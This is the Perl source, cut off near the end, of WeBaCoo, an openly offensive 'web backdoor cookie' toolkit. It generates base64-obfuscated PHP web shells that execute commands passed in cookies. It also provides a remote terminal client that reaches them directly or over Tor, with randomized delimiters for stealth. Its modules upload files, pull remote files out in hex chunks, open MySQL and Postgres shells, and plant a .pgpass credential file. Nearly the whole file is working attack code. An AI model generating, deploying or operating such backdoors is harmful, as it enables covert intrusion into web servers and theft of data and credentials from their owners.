#!/usr/bin/perl
# WeBaCoo - Web Backdoor Cookie Scripkit
# Copyright(c) 2011-2012 Anestis Bechtsoudis
# Website: https://github.com/anestisb/WeBaCoo
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
use strict;
use warnings;
use URI;
use Getopt::Std;
use File::Basename;
use MIME::Base64;
use IO::Socket;
use IO::Socket::Socks;
use Term::ANSIColor qw(:constants);
use if $^O eq "MSWin32", "Win32::Console::ANSI";
## Variables ##
my(%WEBACOO,%args);
# PHP system functions used in backdoor code
my @phpsf = ("system", "shell_exec", "exec", "passthru", "popen");
# Setup
$WEBACOO{name} = "webacoo.pl";
$WEBACOO{version} = '0.2.3';
$WEBACOO{description} = 'Web Backdoor Cookie Script-Kit';
$WEBACOO{author} = 'Anestis Bechtsoudis';
$WEBACOO{email} = '[email protected]';
$WEBACOO{website} = 'http(s)://bechtsoudis.com';
$WEBACOO{twitter} = '@anestisb';
$WEBACOO{sfuntion} = $phpsf[0]; # Default is system()
$WEBACOO{agent} = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2";
$WEBACOO{cookie} = "M-cookie"; # Default cookie name
$WEBACOO{http_method} = "GET"; # Default HTTP method is 'GET'
$WEBACOO{delim} = '8zM$'; # Initialize delimiter
$WEBACOO{url} = '';
$WEBACOO{rhost} = '';
$WEBACOO{rport} = '80';
$WEBACOO{uri} = '';
$WEBACOO{proxy_ip} = '';
$WEBACOO{proxy_port} = '';
$WEBACOO{vlevel} = 0; # Default verbose level=0
$WEBACOO{tor_ip} = "127.0.0.1"; # Default tor ip
$WEBACOO{tor_port} = "9050"; # Default tor port
$WEBACOO{shell_name} = "webacoo"; # Shell name
$WEBACOO{shell_head} = '$ '; # Shell head character
## Help Global Variables ##
my $command = ''; # Command to be executed at target
my $loaded_module = ''; # Name of loaded module
my $module_ext_head = ''; # Extension module cmd header
my $module_ext_tail = ''; # Extension module cmd tail
my $request = ''; # HTTP Request Header
my $request_body = ''; # HTTP Request Body (used by modules)
my $body_len = ''; # HTTP Request Body length
my $body_bound = ''; # Boundary used by Upload module
my $output = ''; # Executed cmd output
my $output_str = ''; # Store buffer for executed cmd
my $sock = ''; # Established socket
my $tmp_fh = ''; # Help variable for filehandler flush
# HTTP Proxy variables
my @pargs = ();
my $proxy_user = '';
my $proxy_pass = '';
# Verbose data
my @verdata = ();
# Time variables for logging
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst);
# Print WeBaCoo logo
print_logo();
# Parse command args
getopts("gf:ro:tu:e:m:c:a:d:p:v:l:h", \%args) or die "[-] Problem with the supplied arguments.\n";
# Check for newer version & apply update
if(defined $ARGV[0] && $ARGV[0] eq "update") { update(); }
# Check for invalid arguments
elsif(defined $ARGV[0]) { print "[-] Unknown option:$ARGV[0]\n"; exit; }
# Print usage in -h case
print_usage() if $args{h};
#################################################################################
# Generate backdoor code
#################################################################################
if(defined $args{g}) {
# Check output filename
if(!defined $args{o}) {
print "[-] No output file specified.\n";
exit;
}
# Check PHP function number if -f is used
if(defined $args{f}) {
if($args{f} =~ /^[1-5]$/) { $WEBACOO{sfuntion} = $phpsf[$args{f}-1]; }
else {
print "[-] -f $args{f}: Unknown function number.\n";
print "\nUse -h for help\n";
exit;
}
}
generate_backdoor();
exit;
}
#################################################################################
# Establish remote "terminal" connection
#################################################################################
if(defined $args{t}) {
# Check URL
if(!defined $args{u}) {
print "[-] No url specified.\n";
exit;
}
# Parse URL
$WEBACOO{url} = URI->new($args{u});
$WEBACOO{rhost} = $WEBACOO{url}->host;
$WEBACOO{rport} = $WEBACOO{url}->port;
$WEBACOO{uri} = $WEBACOO{url}->path;
# Check for user specified user-agent
if(defined $args{a}) { $WEBACOO{agent}=$args{a}; }
# Check for user specified HTTP method
if(defined $args{m}) { $WEBACOO{http_method}=$args{m}; }
# Check for user specified cookie-name
if(defined $args{c}) { $WEBACOO{cookie}=$args{c}; }
# Check for user specified delimiter
if(defined $args{d}) {
$WEBACOO{delim}=$args{d};
print "[!] Delimiter will remain the same for every request.\n";
print " Without the -d flag, a different random delimiter is used for each request,\n";
print " enhancing stealth behavior.\n\n";
}
# Delimiter cannot be equal to cookie name
if(defined $args{d} && defined $args{c} && ($args{d} eq $args{c})) {
print "[-] Use DELIM != C_NAME\n"; exit;
}
# Check for user specified verbose levels
if(defined $args{v}) {
if($args{v} =~ /^[0-2]$/) { $WEBACOO{vlevel} = $args{v}; }
else {
print "[-] -v $args{v}: Unknown verbosity level.\n";
print "\nUse -h for help\n";
exit;
}
}
# Check for user specified log file
if(defined $args{l}) {
if(!open LOG_FILE,">>$args{l}") { print "[-] Problem opening log file.\n"; exit; }
}
# Single command execution mode
if(defined $args{e}) {
$command = $args{e};
print "[*] Executing '$command'.\n";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request("1"); }
else { cmd_request("1"); }
exit;
}
# If Tor check connectivity status
if(defined $args{p} && $args{p} eq "tor") { tor_check(); }
# Initial check & print user info
$command="id";
print "[+] Connecting to remote server as...\n";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Print help messages
print "\n[*] Type 'load' to use an extension module.\n";
print "[*] Type ':<cmd>' to run local OS commands.\n";
print "[*] Type 'exit' to quit terminal.\n\n";
# "Terminal" connection loop
while(1) {
# Check if terminal before user interraction
if(-t STDOUT) {
print BOLD,RED,$WEBACOO{shell_name},BLUE,$WEBACOO{shell_head},RESET;
}
else { print '[-] Need to run under terminal.'; exit; }
chop($command=<STDIN>);
# Check for local external OS commands
if(substr($command, 0, 1) eq ":") {
# Trim ':' from string head
substr($command, 0, 1) = "";
# Execute system command
system($command);
next;
}
# Exit if "exit" is typed
if($command eq "exit") {
# Close log file handler, if log feature used
close(LOG_FILE) if(defined $args{l});
print "Bye...\n";
last;
}
# Check for module load function
elsif($command eq "load") { load_module(); next; }
# Check for module unload function
elsif($command eq "unload") { unload_module(); next; }
# If no user specified delimiter, set a new random one for each request
random_delim() if(!defined $args{d});
# Follow the relative branch (normal or through TOR)
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request("1"); }
else { cmd_request("1"); }
}
}
#################################################################################
# Help functions
#################################################################################
#################################################################################
# Print logo
sub print_logo
{
# Check if terminal for colored output
if(-t STDOUT) {
print "\n",BLUE,BOLD,"\tWeBaCoo $WEBACOO{version}",RESET;
print BLUE," - $WEBACOO{description}\n";
print GREEN,"\tCopyright (C) 2011-2012 ",RESET,GREEN,BOLD,"$WEBACOO{author}\n",RESET;
print GREEN,"\t{ ",YELLOW,"$WEBACOO{twitter} ",GREEN,"|",YELLOW," $WEBACOO{email} ";
print GREEN,"|",YELLOW," $WEBACOO{website}",GREEN," }\n\n",RESET;
# Flush output buffer
$|++;
}
else {
print "\n\tWeBaCoo $WEBACOO{version} - $WEBACOO{description}\n";
print "\tCopyright (C) 2011-2012 $WEBACOO{author}\n";
print "\t{ $WEBACOO{twitter} | $WEBACOO{email} | $WEBACOO{website} }\n\n";
}
}
#################################################################################
# Update
sub update
{
# Search for project dir & git system command
if(-d "./.git/" && !system("which git > /dev/null")) {
print "[+] Checking for newer versions...\n";
system("git pull");
print "\n";
}
else {
print "[-] Error with git repository update.\n\n";
print "Download latest version from:\n";
print "https://github.com/anestisb/WeBaCoo/zipball/master\n\n";
}
}
#################################################################################
# Print help page
sub print_usage
{
print qq(
Usage: webacoo.pl [options]
Options:
-g Generate backdoor code (-o is required)
-f FUNCTION PHP System function to use
FUNCTION
1: system (default)
2: shell_exec
3: exec
4: passthru
5: popen
-o OUTPUT Generated backdoor output filename
-r Return un-obfuscated backdoor code
-t Establish remote "terminal" connection (-u is required)
-u URL Backdoor URL
-e CMD Single command execution mode (-t and -u are required)
-m METHOD HTTP method to be used (default is GET)
-c C_NAME Cookie name (default: "M-cookie")
-d DELIM Delimiter (default: New random for each request)
-a AGENT HTTP header user-agent (default exist)
-p PROXY Use proxy (tor, ip:port or user:pass:ip:port)
-v LEVEL Verbose level
LEVEL
0: no additional info (default)
1: print HTTP headers
2: print HTTP headers + data
-l LOG Log activity to file
-h Display help and exit
update Check for updates and apply if any
);
exit;
}
#################################################################################
# Generate backdoor code
sub generate_backdoor
{
my $cmd = '';
# Command is retrieved under the relative Cookie from the client
if(!$args{r}) { $cmd = "base64_decode(\$_COOKIE['cm'])"; }
# If raw output mode used, protect base64 decoder
else { $cmd = "\$b(\$_COOKIE['cm'])"; }
# PHP system functions usage
my %payloads = (
"system" => "system($cmd.' 2>&1');",
"shell_exec" => "echo shell_exec($cmd.' 2>&1');",
"exec" => "exec($cmd.' 2>&1', \$d);echo(join(\"\\n\",\$d).\"\\n\");",
"passthru" => "passthru($cmd.' 2>&1');",
"popen" => "\$h=popen($cmd.' 2>&1','r');while(!feof(\$h))echo(fread(\$h,2048));pclose(\$h);",
);
# Form the final payload
my $payload = "if(isset(\$_COOKIE['cm'])){ob_start();";
$payload .= '$b=strrev("edoced_4"."6esab");' if ($args{r});
$payload .= "$payloads{$WEBACOO{sfuntion}}setcookie(\$_COOKIE['cn'],\$_COOKIE['cp'].".
"base64_encode(ob_get_contents()).\$_COOKIE['cp']);ob_end_clean();}";
# PHP tags
my $prefix = "<?php ";
my $suffix = " ?>";
# Check for raw code output flag,
# otherwise encode payload & append the tags
if(!defined $args{r}) {
$payload = encode_base64($payload, '');
# insert space after each character
$payload =~ s/(\S{1})/$1 /g;
$prefix .= '$b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","';
$suffix = "\")));".$suffix;
}
# Create backdoor file
open (OUTFILE, ">$args{o}");
print OUTFILE $prefix.$payload.$suffix;
close (OUTFILE);
print "[+] Backdoor file \"$args{o}\" created.\n";
}
#################################################################################
# Backdoor cmd: send request & get response
sub cmd_request
{
# Silent flag
my $silent = @_;
# Port assign
my $dst_host = $WEBACOO{rhost};
my $dst_port = $WEBACOO{rport};
if(index($command,'>>') ne -1) {
print "[!] Using '>>' for file append might broke the backdoor code.\n";
print "[!] Prefer 'tee -a' for file append operations.\n";
}
# Append & prepend extension modules data
$command = $module_ext_head.$command.$module_ext_tail;
# Check for Proxy args
if(defined $args{p}) {
@pargs=split(':',$args{p});
if(@pargs==2) { ($dst_host, $dst_port) = @pargs; }
elsif(@pargs==4) { ($proxy_user, $proxy_pass, $dst_host, $dst_port) = @pargs; }
else {
print "[-] Invalid Proxy arguments.\n";
print "\nUse -h for help\n";
exit;
}
}
# Form HTTP request
$request = "$WEBACOO{http_method} http://$WEBACOO{rhost}$WEBACOO{uri} HTTP/1.1\r\n";
$request .= "Host: $WEBACOO{rhost}:$WEBACOO{rport}\r\n";
$request .= "Agent: $WEBACOO{agent}\r\n";
$request .= "Connection: Close\r\n";
$request .= "Cookie: cm=".encode_base64($command,'').";".
" cn=$WEBACOO{cookie}; cp=$WEBACOO{delim}\r\n";
$request .= "Proxy-Authorization: Basic ".encode_base64($proxy_user.":".$proxy_pass,'').
"\r\n" if($proxy_user && $proxy_pass);
$request .= "Content-Type: multipart/form-data; boundary=---------------------------".
"$body_bound\r\n" if($loaded_module eq "upload");
$request .= "Content-Length: $body_len\r\n" if($loaded_module eq "upload");
$request .= "\r\n";
# Print request if verbose level > 0
print "*** Request HTTP Header ***\n$request" if($WEBACOO{vlevel} > 0 && $silent);
# Establish connection
$sock = IO::Socket::INET->new(
PeerAddr=> $dst_host,
PeerPort => $dst_port,
Proto => "tcp",
);
# Error checking
die "Could not create socket: $!\n" unless $sock;
# Send HTTP request
print $sock $request.$request_body;
# Get server response
my $line;
while ($line = <$sock>) { $output .= $line; }
# Close socket
close($sock);
# Unescape URI escaped special characters
$output =~ s/%([0-9A-Fa-f]{2})/chr(hex($1))/eg;
# Split HTTP header + data and print according to verbose level
@verdata = split (/^\r\n/m,$output);
$verdata[1] = "" if (@verdata == 1); # If data field is empty
chomp($verdata[0]);
print "*** Response HTTP Header ***\n$verdata[0]\n\n" if($WEBACOO{vlevel} > 0 && $silent);
print "*** Response HTTP Data ***\n$verdata[1]\n\n" if($WEBACOO{vlevel} > 1 && $silent);
print "*** Command Output ***\n" if($WEBACOO{vlevel} > 0 && $silent);
# Check for HTTP 4xx error status codes
if($output =~ m/^HTTP\/1\.[0,1].+4\d{2}.+\n/)
{
print "\n[-] 4xx error server response.\n";
print "Terminal closed.\n";
exit ;
}
# Check if server responded with the correct cookie name
# Bypass check in case of Upload module
if(($output !~ m/Set-Cookie: $WEBACOO{cookie}/) && $loaded_module ne "upload" ) {
print "[-] Server has not responded with the expected cookie name.\n";
exit;
}
# Locate cookie data
my $start = index($output,$WEBACOO{delim})+length($WEBACOO{delim});
my $end = index($output,$WEBACOO{delim},$start);
$output = substr($output,$start,$end-$start);
# Check for disabled PHP system functions
if(!$output && $command eq "id") {
print "\n[-] Response cookie has no data.\n";
print "[!] Backdoor PHP system function possibly disabled.\n";
}
# Decode response and print output
else {
$output = decode_base64($output);
# Beautify in case of mysql-cli module
if($loaded_module eq "mysql-cli") {
$output =~ s/\n/\n\n/;
}
# Do not print output if:
# - '(down/up)load' module is loaded
# - stealth module is loaded
# - output is empty
if(($output ne "\n")and(index($loaded_module,"load") eq -1)and($loaded_module ne 'stealth')) {
print $output;
}
# Store cmd output to output storage buffer
$output_str = $output;
chop($output_str);
# Log executed command
if(defined $args{l}) {
# Get date
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);
printf LOG_FILE "[%4d-%02d-%02d %02d:%02d:%02d]",$year+1900,$mon+1,$mday,$hour,$min,$sec;
print LOG_FILE " - $WEBACOO{rhost} - $WEBACOO{http_method} $WEBACOO{uri} - ";
# Log if traffic is direct of via proxy
if(defined $args{p}) { print LOG_FILE "PROXY"; }
else { print LOG_FILE "DIRECT"; }
print LOG_FILE " - { $command } - { ";
# Escape new lines to have a compact single line log
$output =~ s/\n/\\n/g;
print LOG_FILE $output if($loaded_module ne "upload");
print LOG_FILE " }\n";
# Flush file handler to avoid losing entries in case of kill
$tmp_fh = select(STDOUT);
select(LOG_FILE);
$|++;
select($tmp_fh);
}
}
# Flush content buffers
@verdata = ();
$output = '';
$command = '';
}
#################################################################################
# Check Tor connectivity
sub tor_check
{
print "[*] Checking Tor connectivity...\n\n";
# Check Tor tcp socket
my $tor_sock = IO::Socket::INET->new(
PeerAddr => $WEBACOO{tor_ip},
PeerPort => $WEBACOO{tor_port},
Proto => "tcp",
);
if($tor_sock) { print "[+] TCP Socket is listening at $WEBACOO{tor_ip}:$WEBACOO{tor_port}\n"; }
else {
print "[-] TCP Socket is not listening at $WEBACOO{tor_ip}:$WEBACOO{tor_port}\n\n";
print " Program exited.\n";
exit;
}
# Hit whatismyip to find exit node ip
$sock = IO::Socket::Socks->new(
ProxyAddr=>$WEBACOO{tor_ip},
ProxyPort=>$WEBACOO{tor_port},
ConnectAddr=>"98.207.221.49",
ConnectPort=>"80",
);
die "Could not create socks proxy socket: $!\n" unless $sock;
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: whatismyip.org:80\r\n";
$request .= "\r\n";
print $sock $request;
my $line;
while ($line = <$sock>) { $output .= $line; }
if(defined $output) { print "[+] Tor connection established.\n"; }
# Check if ip is valid
if($output =~ m/([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/)
{
print "Tor exit node: $1\n\n";
}
# Flush buffer & close socket
$output='';
close($sock);
}
#################################################################################
# Backdoor cmd over tor: send request & get response
sub tor_cmd_request
{
# Silent flag
my $silent = @_;
# Append & prepend extension modules data
$command = $module_ext_head.$command.$module_ext_tail;
# Form HTTP request
$request = "$WEBACOO{http_method} http://$WEBACOO{rhost}$WEBACOO{uri} HTTP/1.1\r\n";
$request .= "Host: $WEBACOO{rhost}:$WEBACOO{rport}\r\n";
$request .= "Agent: $WEBACOO{agent}\r\n";
$request .= "Connection: Close\r\n";
$request .= "Cookie: cm=".encode_base64($command,'').";".
" cn=$WEBACOO{cookie}; cp=$WEBACOO{delim}\r\n";
$request .= "Content-Type: multipart/form-data; boundary=---------------------------".
"$body_bound\r\n" if($loaded_module eq "upload");
$request .= "Content-Length: $body_len\r\n" if($loaded_module eq "upload");
$request .= "\r\n";
# Print request if verbose level > 0
print "*** Request HTTP Header ***\n$request" if($WEBACOO{vlevel} > 0 && $silent);
# Connect to server via Tor
$sock = IO::Socket::Socks->new(
ProxyAddr=>$WEBACOO{tor_ip},
ProxyPort=>$WEBACOO{tor_port},
ConnectAddr=>$WEBACOO{rhost},
ConnectPort=>$WEBACOO{rport},
);
# Error checking
die "Could not create socks proxy socket: $!\n" unless $sock;
# Send HTTP request
print $sock $request.$request_body;
# Get server response
my $line;
while ($line = <$sock>) { $output .= $line; }
# Close socket
close($sock);
# Unescape URI escaped special characters
$output =~ s/%([0-9A-Fa-f]{2})/chr(hex($1))/eg;
# Split HTTP header + data and print according to verbose level
@verdata = split (/^\r\n/m,$output);
$verdata[1] = "" if (@verdata == 1); # If data field is empty
chomp($verdata[0]);
print "*** Response HTTP Header ***\n$verdata[0]\n\n" if($WEBACOO{vlevel} > 0 && $silent);
print "*** Response HTTP Data ***\n$verdata[1]\n\n" if($WEBACOO{vlevel} > 1 && $silent);
print "*** Command Output ***\n" if($WEBACOO{vlevel} > 0 && $silent);
# Check for HTTP 4xx error status codes
if($output =~ m/^HTTP\/1\.[0,1].+4\d{2}.+\n/)
{
print "\n[-] 4xx error server response.\n";
print "Terminal closed.\n";
exit ;
}
# Check if server responded with the correct cookie name
# Bypass check in case of Upload module
if(($output !~ m/Set-Cookie: $WEBACOO{cookie}/) && $loaded_module ne "upload" ) {
print "[-] Server has not responded with the expected cookie name.\n";
exit;
}
# Locate cookie data
my $start = index($output,$WEBACOO{delim})+length($WEBACOO{delim});
my $end = index($output,$WEBACOO{delim},$start);
$output = substr($output,$start,$end-$start);
# Check for disabled PHP system functions
if(!$output && $command eq "id") {
print "\n[-] Response cookie has no data.\n";
print "[!] Backdoor PHP system function possibly disabled.\n";
}
# Decode response and print output
else {
$output = decode_base64($output);
# Beautify in case of mysql-cli module
if($loaded_module eq "mysql-cli") {
$output =~ s/\n/\n\n/;
}
# Do not print output if:
# - '(down/up)load' module is loaded
# - stealth module is loaded
# - output is empty
if(($output ne "\n")and(index($loaded_module,"load") eq -1)and($loaded_module ne 'stealth')) {
print $output;
}
# Store cmd output to output storage buffer
$output_str = $output;
chop($output_str);
# Log executed command
if(defined $args{l}) {
# Get date
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst)=localtime(time);
printf LOG_FILE "[%4d-%02d-%02d %02d:%02d:%02d]",$year+1900,$mon+1,$mday,$hour,$min,$sec;
print LOG_FILE " - $WEBACOO{rhost} - $WEBACOO{http_method} $WEBACOO{uri} - TOR - { $command } - { ";
# Escape new lines to have a compact single line log
$output =~ s/\n/\\n/g;
# Log command output
print LOG_FILE $output if($loaded_module ne "upload");
print LOG_FILE " }\n";
# Flush file handler to avoid losing entries in case of kill
$tmp_fh = select(STDOUT);
select(LOG_FILE);
$|++;
select($tmp_fh);
}
}
# Flush content buffers
@verdata = ();
$output = '';
$command = '';
}
#################################################################################
# Randomize delimiter string
sub random_delim
{
# Base64 valid characters
my @vchars=('a'..'z','A'..'Z','0'..'9');
# Base64 non-valid characters
my @nvchars=('!','@','#','$','%','^','&','*','?','~');
# Flush delimiter
$WEBACOO{delim}='';
# Create new delimiter with 4 chars
# 3 valid + 1 non-valid
foreach (1..3)
{
$WEBACOO{delim}.=$vchars[rand @vchars];
}
$WEBACOO{delim}.=$nvchars[rand @nvchars];
}
#################################################################################
# Load extension modules
sub load_module
{
my $mod_input = '';
# Check if another module is loaded
if($loaded_module) {
print "[-] Another module is loaded. Unload the old one first.\n";
return;
}
# Print available modules
print "Currently available extension modules:\n";
print "o MySQL-CLI: MySQL Command Line Module\n";
print " mysql-cli <IP(:port)> <user> <pass>".
" (ex. 'mysql-cli 10.0.1.11 admin pAsS')\n\n";
print "o PSQL-CLI: Postgres Command Line Module\n";
print " psql-cli <IP(:port)> <db> <user> <pass>".
" (ex. 'psql-cli 10.0.1.12 testDB root pAsS')\n\n";
print "o Upload: File Upload Module\n";
print " upload <local_file> <remote_dir>".
" (ex. 'upload exploit.c /tmp/')\n\n";
print "o Download: File Download Module\n";
print " download <remote_file>".
" (ex. 'download config.php')\n\n";
print "o Stealth: Enhance Stealth Module\n";
print " stealth <webroot_dir>".
" (ex. 'stealth /var/www/html')\n\n";
print "[*] Type the module name with the correct args.\n\n";
# Get user's choice
print '> ';
chop($mod_input=<STDIN>);
my @modargs=split(' ',$mod_input);
if(!@modargs) { print "[-] No module selected.\n"; return; }
# MySQL-CLI Module
if($modargs[0] eq "mysql-cli") {
if(@modargs != 4) { print "[-] Error loading mysql-cli module\n"; return; }
# Check for non default port
my ($db_ip,$db_port) = split(':',$modargs[1]);
$db_port = '3306' if(!defined $db_port);
# Update 'shell' options
$loaded_module = "mysql-cli";
$WEBACOO{shell_name} = "mysql-cli";
$WEBACOO{shell_head} = "> ";
$module_ext_head = "mysql -h $db_ip -P $db_port -u$modargs[2] -p$modargs[3] -e '";
$module_ext_tail = "'";
}
# PSQL-CLI Module
elsif($modargs[0] eq "psql-cli") {
if(@modargs != 5) { print "[-] Error loading psql-cli module\n"; return; }
# Check for non default port
my ($db_ip,$db_port) = split(':',$modargs[1]);
$db_port = '5432' if(!defined $db_port);
# Locate running user's home directory
$command = "cat /etc/passwd | grep `whoami` | awk -F: '{print \$6}'";
print "[*] Detected home dir: ";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Create credentials Postgres file to bypass interactive password authentication
$command="echo '*:*:*:*:$modargs[4]'> $output_str/.pgpass; chmod 600 $output_str/.pgpass";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
print "[*] Credentials file created at: ~/.pgpass\n";
print "[!] Don't **forget** to delete it before exiting.\n";
# Update 'shell' options
$loaded_module = "psql-cli";
$WEBACOO{shell_name} = "psql-cli";
$WEBACOO{shell_head} = "> ";
$module_ext_head = "psql -h $db_ip -p $db_port -U $modargs[3] -d $modargs[2] -t -q -c '";
$module_ext_tail = "'";
}
# Upload Module
elsif($modargs[0] eq "upload") {
if(@modargs != 3) { print "[-] Error loading upload module\n"; return; }
# Validate remote directory argument
if(!($modargs[2] =~ /(^\/).+(\/$)/)) {
print "[!] Upload directory is invalid.\n";
return;
}
# Read local file
my $lfile = "";
if(!open FILE,$modargs[1]) { print "[-] Problem opening local file.\n"; return; }
while (<FILE>){
$lfile .= $_;
}
close FILE;
# Get PHP configuration Settings
print "[*] PHP upload configuration settings:\n";
$command = 'php -r \'echo "File Uploads :";echo (ini_get("file_uploads"))?"ON":"OFF";'.
'echo "\nUpload Max Size:".ini_get("upload_max_filesize")."\n";\'';
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
print "\n";
# If PHP-CLI didn't work, ask user how to continue
if(index($output_str,'not found') ne -1) {
print "[!] PHP CLI command not found.\n";
print "[?] Continue with file upload ('yes' or 'no')? ";
my $answer = '';
chop($answer=<STDIN>);
if($answer ne 'yes') { return; }
}
elsif(index($output_str,'OFF') ne -1) {
print "[!] File uploads via HTTP POST are disabled.\n";
return;
}
# Generate a random string name for the PHP uploader file
my $tmp_fup = &random_string(6).'.php';
# Generate a random string name for the uploaded file
my $tmp_up = &random_string(6);
# Check if PHP uploader file is writable
$command = "touch $tmp_fup";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if(index($output_str,'denied') ne -1) {
print "[-] PHP Uploader file cannot be written.\n";
return ;
}
# Write PHP uploader file
$command = 'echo \'<?php if($_FILES["file"]["error"]>0){exit;}'.
'else{move_uploaded_file($_FILES["file"]["tmp_name"],'.
"\"$modargs[2]\"".'.$_FILES["file"]["name"]);}\'> ./'."$tmp_fup";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Form POST Request body
$body_bound = int(rand(2000000000))+1000000000;
$request_body = "-----------------------------$body_bound\r\n";
$request_body .= "Content-Disposition: form-data; name=\"file\"; filename=\"$tmp_up\"\r\n";
$request_body .= "Content-Type: text/plain\r\n\r\n";
$request_body .= "$lfile";
$request_body .= "\r\n-----------------------------$body_bound\r\n";
$request_body .= "Content-Disposition: form-data; name=\"submit\"\r\n\r\n";
$request_body .= "Submit";
$request_body .= "\r\n-----------------------------$body_bound--\r\n";
# Calculate body length
$body_len = length($request_body);
# Temporaly change global variables for the POST request
my $tmp_method = $WEBACOO{http_method};
$WEBACOO{http_method} = "POST";
my $tmp_uri = $WEBACOO{uri};
my @uri_segs = $WEBACOO{url}->path_segments();
pop @uri_segs;
push @uri_segs, $tmp_fup;
$WEBACOO{url}->path_segments(@uri_segs);
$WEBACOO{uri} = $WEBACOO{url}->path;
$loaded_module = "upload";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Restore global variables
$WEBACOO{http_method} = $tmp_method;
$WEBACOO{uri} = $tmp_uri;
$loaded_module = "";
# Remove PHP uploader file
$command = "rm $tmp_fup";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Check if file uploaded successfully
$command = "touch $modargs[2]$tmp_up";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
if(index($output_str,'denied') ne -1) {
print "[-] File upload failed. Double check permissions.\n";
return ;
}
# Print success message with upload path
print "[+] File uploaded at ".$modargs[2].$tmp_up."\n";
# Upload module doesn't need unload
print "[*] Upload module unloaded.\n";
return ;
}
# Download Module
elsif($modargs[0] eq "download") {
# Module is currently not functional under Windows OS
if($^O eq "MSWin32") { print "[-] Module currently does not support Windows OS.\n"; return; }
# 'xxd' tool is required for this module.
if(`which xxd` eq '') {
print "[-] 'xxd' not found at local client machine.\n";
print "[*] Install 'xxd' or edit source code to manually handle the hexdumps.\n";
return;
}
# Argument checking
if(@modargs != 2) { print "[-] Error loading upload module\n"; return; }
# Update loaded module buffer
$loaded_module = "download";
#### Module variables
# Pivot every 1000 bytes from source file
# - ~3.0K if output in octal (od tool)
# - ~2.0K if output in hex (xxd tool)
my $pivot = 0;
# Available server tool (xxd, od)
my $tool = '';
# Base filename for local file
my $lfile = basename $modargs[1];
####
# Check if 'xxd' tool is available in remote server
print "[*] Checking for 'xxd' tool.\n";
$command = 'which xxd';
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# If 'xxd' not found proceed with 'od' tool check
if($output_str eq '') {
print "[-] 'xxd' tool is not available.\n\n";
# Check if od tool is available
print "[*] Checking for 'od' tool.\n";
$command = 'which od';
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# If neither 'od' tool is available,
# print message and unload module.
if($output_str eq '') {
print "[-] 'od' tool is not available.\n\n";
print "[-] Download module failed and unloaded.\n";
$loaded_module = '';
return ;
}
# Proceed with 'od' tool
else {
print "[*] Proceed to download using 'od' tool.\n\n";
$tool = 'od';
$command = "od -An -b -N 1000 -j $pivot $modargs[1]";
}
}
# Proceed with 'xxd' tool
else {
print "[*] Proceed to download using 'xxd' tool.\n\n";
$tool = 'xxd';
$command = "xxd -ps -l 1000 -s $pivot $modargs[1]";
}
# Get the first chunk
print "[*] Retrieving 0-1000 bytes of remote file.\n";
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# Check for not found response
if(index($output_str,"No such") ne -1) {
print "\n[-] Remote file does not exist.\n";
print "[-] Download failed and module unloaded.\n";
$loaded_module = '';
return ;
}
# Remove whitespaces from server's response
$output_str =~ s/\s//g;
# Open a local file stream to store the received chunks
open (DOWNFILE, ">$lfile.tmp") or die $!;
# Store the first chunk
print DOWNFILE $output_str;
# While server responds with non-empty chunk
# loop to retrieve the full file content.
while (1) {
# Increse pivot counter
$pivot = $pivot + 1000;
print "[*] Retrieving $pivot-",$pivot + 1000," bytes of remote file.\n";
# Form command with new boundaries
if($tool eq 'xxd') { $command = "xxd -ps -l 1000 -s $pivot $modargs[1]"; }
elsif($tool eq 'od') { $command = "od -An -b -N 1000 -j $pivot $modargs[1]"; }
if(defined $args{p} && $args{p} eq "tor") { tor_cmd_request(); }
else { cmd_request(); }
# 'xxd' return empty response when EOF
if($output_str eq '') { last; }
# 'od' return relevant message
if(index($output_str,"cannot skip") ne -1) { last; }
# Remove whitespaces from server's response
$output_str =~ s/\s//g;
# Write chunk to file
print DOWNFILE $output_str;
}
# Close the local file stream
close (DOWNFILE);
# Call the external xxd to reassemble the hex file
if($tool eq 'xxd') {
system("xxd -ps -r $lfile.tmp > $lfile");
}
# In case of 'od' tool to avoid endianess problems
# the file is read in octal format.
# Initially convert octal to hex and then revert
# to original file using the xxd tool.
elsif($tool eq 'od') {
my $tmpbuf = '';
# Read file (octal format)
open (TMPFILE, "<$lfile.tmp") or die $!;
# Write file (hex format)
open (WRFILE, ">$lfile.tmp2") or die $!;
# Store octal to buffer
while (<TMPFILE>) { $tmpbuf .= $_; }
# Convert octal to hex
while($tmpbuf =~ /(.{3})/sg) {
printf WRFILE "%02x",oct($1);
}
# Close temp files
close(TMPFILE);
close(WRFILE);
# Revert hex to original file
